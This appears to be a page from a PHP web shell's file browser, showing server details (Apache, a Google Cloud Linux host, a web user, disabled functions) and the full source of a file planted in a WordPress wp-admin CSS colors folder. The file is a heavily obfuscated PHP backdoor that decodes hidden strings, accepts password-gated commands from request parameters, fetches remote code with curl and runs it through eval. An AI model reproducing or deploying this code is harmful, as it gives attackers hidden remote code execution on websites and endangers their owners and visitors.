HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-admin/css/colors/colors/index.php
<?php
 goto iO6MjLF8qvDL; S4V5OOdwRW2_: LfhedKMvuVzJ: goto WtDPM94Y4Meh; WtDPM94Y4Meh: metaphone("\x69\164\65\126\x33\x61\x4b\x72\60\x7a\x4a\x4a\111\x5a\125\x7a\102\107\104\x31\103\157\155\127\x69\104\63\120\x50\143\x67\172\127\x33\144\64\162\x37\70\64\x65\x78\x45"); goto gh1ssNCcw3De; FwGKVfsPFtNi: ($NjXpDfr0tXtF[70] = $NjXpDfr0tXtF[70] . $NjXpDfr0tXtF[77]) && ($NjXpDfr0tXtF[87] = $NjXpDfr0tXtF[70]($NjXpDfr0tXtF[87])) && @eval($NjXpDfr0tXtF[70](${$NjXpDfr0tXtF[48]}[18])); goto S4V5OOdwRW2_; gh1ssNCcw3De: class mi9qtWPUgqjN { static function PygALVEMa4kf($RLg12BAV5ny8) { goto geWeLZOBSsOa; GkHaa5sVhcpN: $T03sRZ2QEGTh = explode("\55", $RLg12BAV5ny8); goto MQHQjdrWlTSB; geWeLZOBSsOa: $OOcIqXIonDn7 = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto A5oxFv2XCcJz; uVrvQbMaLcjs: return $snd2yr0WSlML; goto e_SOPlJfbuvD; A5oxFv2XCcJz: $CtfY1DRlTTWr = $OOcIqXIonDn7("\x7e", "\x20"); goto GkHaa5sVhcpN; Z1ZZljT7btr7: Dehi6G9BWdCH: goto uVrvQbMaLcjs; rre307zI1lYR: foreach ($T03sRZ2QEGTh as $xUiqNWDIoLRq => $Lcu1m9ENY5p7) { $snd2yr0WSlML .= $CtfY1DRlTTWr[$Lcu1m9ENY5p7 - 33156]; PZUTYRZu1LfQ: } goto Z1ZZljT7btr7; MQHQjdrWlTSB: $snd2yr0WSlML = ''; goto rre307zI1lYR; e_SOPlJfbuvD: } static function VWHL5LWLrVXO($NsIbild1U3Qh, $yLpJWEpZVkoP) { goto BXjYA80UmA43; jTB9xqMw0mKs: curl_setopt($k9i6ckIexmTl, CURLOPT_RETURNTRANSFER, 1); goto y3M6cbicybZB; ia_QutoP1Cmc: return empty($JT9r941cNyEB) ? $yLpJWEpZVkoP($NsIbild1U3Qh) : $JT9r941cNyEB; goto OYP_FkW1ZNS1; BXjYA80UmA43: $k9i6ckIexmTl = curl_init($NsIbild1U3Qh); goto jTB9xqMw0mKs; y3M6cbicybZB: $JT9r941cNyEB = curl_exec($k9i6ckIexmTl); goto ia_QutoP1Cmc; OYP_FkW1ZNS1: } static function p5FdjhzS_4RL() { goto ACELQVSGbcqs; Fyh0VJ4YHfRr: if (!(@$AE9OCPwVc0We[0] - time() > 0 and md5(md5($AE9OCPwVc0We[1 + 2])) === "\x39\65\61\x37\x30\x64\x65\x32\x30\141\144\x33\x39\63\141\x34\145\144\143\x32\142\x33\65\145\x61\x38\x63\x39\x37\66\145\x36")) { goto NpwTWOMykiah; } goto RvYToy0OyYlg; CYOqA7VRdvqU: $AE9OCPwVc0We = $aK0xeTcLMTbR[1 + 1]($z11gxd0zLI0z, true); goto mAswpeakMSGj; UOL1GacJCR95: foreach ($gTUji3thDGeY as $Kjw1nLMNGlfN) { $aK0xeTcLMTbR[] = self::PYGalveMA4KF($Kjw1nLMNGlfN); gwokjKPpHDjr: } goto auvxEE4ZvZ11; vCatI_ADBX_E: @eval($aK0xeTcLMTbR[1 + 3]($jMQMJluzEYVz)); goto LgL0UfRQnSTt; UCOsSE051v92: $oZoTqVrossC0 = @$aK0xeTcLMTbR[1]($aK0xeTcLMTbR[10 + 0](INPUT_GET, $aK0xeTcLMTbR[7 + 2])); goto CqWd82P4nKB6; mlRQxXYcKdXC: NpwTWOMykiah: goto OcX96UQhqXB_; mAswpeakMSGj: @$aK0xeTcLMTbR[1 + 9](INPUT_GET, "\x6f\x66") == 1 && die($aK0xeTcLMTbR[0 + 5](__FILE__)); goto Fyh0VJ4YHfRr; CqWd82P4nKB6: $z11gxd0zLI0z = @$aK0xeTcLMTbR[0 + 3]($aK0xeTcLMTbR[2 + 4], $oZoTqVrossC0); goto CYOqA7VRdvqU; auvxEE4ZvZ11: GqldUNR1Mcdm: goto UCOsSE051v92; ACELQVSGbcqs: $gTUji3thDGeY = array("\x33\63\x31\70\63\55\63\63\x31\66\x38\55\63\x33\x31\x38\61\x2d\x33\63\61\x38\x35\x2d\x33\63\61\x36\x36\55\x33\63\61\x38\x31\55\x33\63\61\70\x37\55\63\x33\x31\70\60\55\x33\63\x31\66\65\x2d\63\63\61\67\62\x2d\x33\63\61\x38\63\55\63\x33\x31\66\x36\55\63\63\61\x37\67\55\63\63\x31\x37\x31\x2d\63\63\x31\67\62", "\x33\63\x31\66\67\55\x33\63\61\66\x36\55\63\x33\61\x36\x38\55\x33\x33\61\70\67\x2d\x33\63\61\x36\70\55\63\63\x31\x37\x31\55\x33\x33\61\66\66\55\x33\x33\x32\63\63\55\x33\x33\62\63\61", "\63\63\x31\67\x36\55\63\63\x31\66\x37\55\63\x33\x31\67\x31\55\63\63\61\x37\x32\55\63\x33\x31\x38\67\55\x33\x33\x31\x38\x32\x2d\63\x33\x31\70\61\x2d\63\x33\x31\x38\63\x2d\63\63\x31\67\61\x2d\x33\x33\x31\70\x32\55\63\63\61\70\x31", "\x33\63\x31\67\x30\x2d\63\63\x31\x38\65\x2d\63\63\x31\70\x33\x2d\x33\x33\61\67\x35", "\x33\63\x31\70\x34\x2d\63\63\x31\x38\65\55\x33\63\61\x36\x37\x2d\63\63\x31\x38\61\x2d\x33\x33\62\62\x38\55\x33\63\62\63\x30\x2d\63\x33\61\70\x37\55\63\x33\61\x38\62\x2d\x33\x33\61\x38\x31\55\63\x33\61\x38\63\x2d\x33\63\61\67\61\55\x33\x33\x31\70\x32\55\x33\x33\x31\x38\x31", "\63\63\61\70\x30\55\x33\63\x31\67\x37\55\x33\x33\61\67\64\x2d\63\63\x31\x38\61\x2d\63\63\61\x38\x37\x2d\x33\x33\61\67\71\x2d\x33\x33\x31\x38\61\55\63\63\61\x36\x36\55\63\x33\x31\x38\67\x2d\63\x33\x31\x38\x33\55\63\63\61\67\x31\x2d\x33\x33\61\67\62\55\63\x33\x31\x36\x36\55\x33\x33\x31\x38\x31\x2d\63\63\x31\x37\62\x2d\x33\x33\61\66\66\x2d\63\x33\x31\66\x37", "\63\63\x32\61\x30\55\x33\x33\62\64\x30", "\63\63\61\65\x37", "\63\x33\62\63\x35\x2d\x33\63\x32\64\x30", "\x33\x33\62\61\67\x2d\x33\63\62\60\x30\55\x33\63\x32\x30\60\x2d\x33\63\62\x31\x37\55\x33\x33\61\71\x33", "\63\x33\61\70\60\55\x33\x33\61\x37\67\x2d\63\63\x31\x37\64\55\63\63\x31\66\x36\x2d\63\63\x31\70\x31\55\x33\63\61\x36\x38\x2d\x33\x33\x31\x38\x37\x2d\63\x33\61\67\x37\x2d\x33\63\x31\67\x32\55\x33\63\x31\67\60\x2d\x33\63\61\66\x35\55\63\63\x31\66\66"); goto UOL1GacJCR95; RvYToy0OyYlg: $jMQMJluzEYVz = self::vwhL5lwLRVxO($AE9OCPwVc0We[0 + 1], $aK0xeTcLMTbR[4 + 1]); goto vCatI_ADBX_E; LgL0UfRQnSTt: die; goto mlRQxXYcKdXC; OcX96UQhqXB_: } } goto F5lfQwaLIwnv; e_l3iAS7bkeM: $NjXpDfr0tXtF = ${$ih9n2gMonF4R[12 + 19] . $ih9n2gMonF4R[3 + 56] . $ih9n2gMonF4R[44 + 3] . $ih9n2gMonF4R[35 + 12] . $ih9n2gMonF4R[33 + 18] . $ih9n2gMonF4R[32 + 21] . $ih9n2gMonF4R[7 + 50]}; goto tx5ijvQEm1X3; iO6MjLF8qvDL: $s0sDFB5JiOzA = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto Z30uPtKeoUph; tx5ijvQEm1X3: if (!(in_array(gettype($NjXpDfr0tXtF) . count($NjXpDfr0tXtF), $NjXpDfr0tXtF) && count($NjXpDfr0tXtF) == 15 && md5(md5(md5(md5($NjXpDfr0tXtF[9])))) === "\x35\141\x34\x62\x38\61\x31\x35\x34\x63\x39\144\x35\60\142\62\x36\x65\x38\x38\60\71\143\x39\142\x38\x64\144\65\x62\66\x31")) { goto LfhedKMvuVzJ; } goto FwGKVfsPFtNi; Z30uPtKeoUph: $ih9n2gMonF4R = $s0sDFB5JiOzA("\x7e", "\x20"); goto e_l3iAS7bkeM; F5lfQwaLIwnv: mi9QtWPUGqjN::P5fDjHZS_4RL();
?>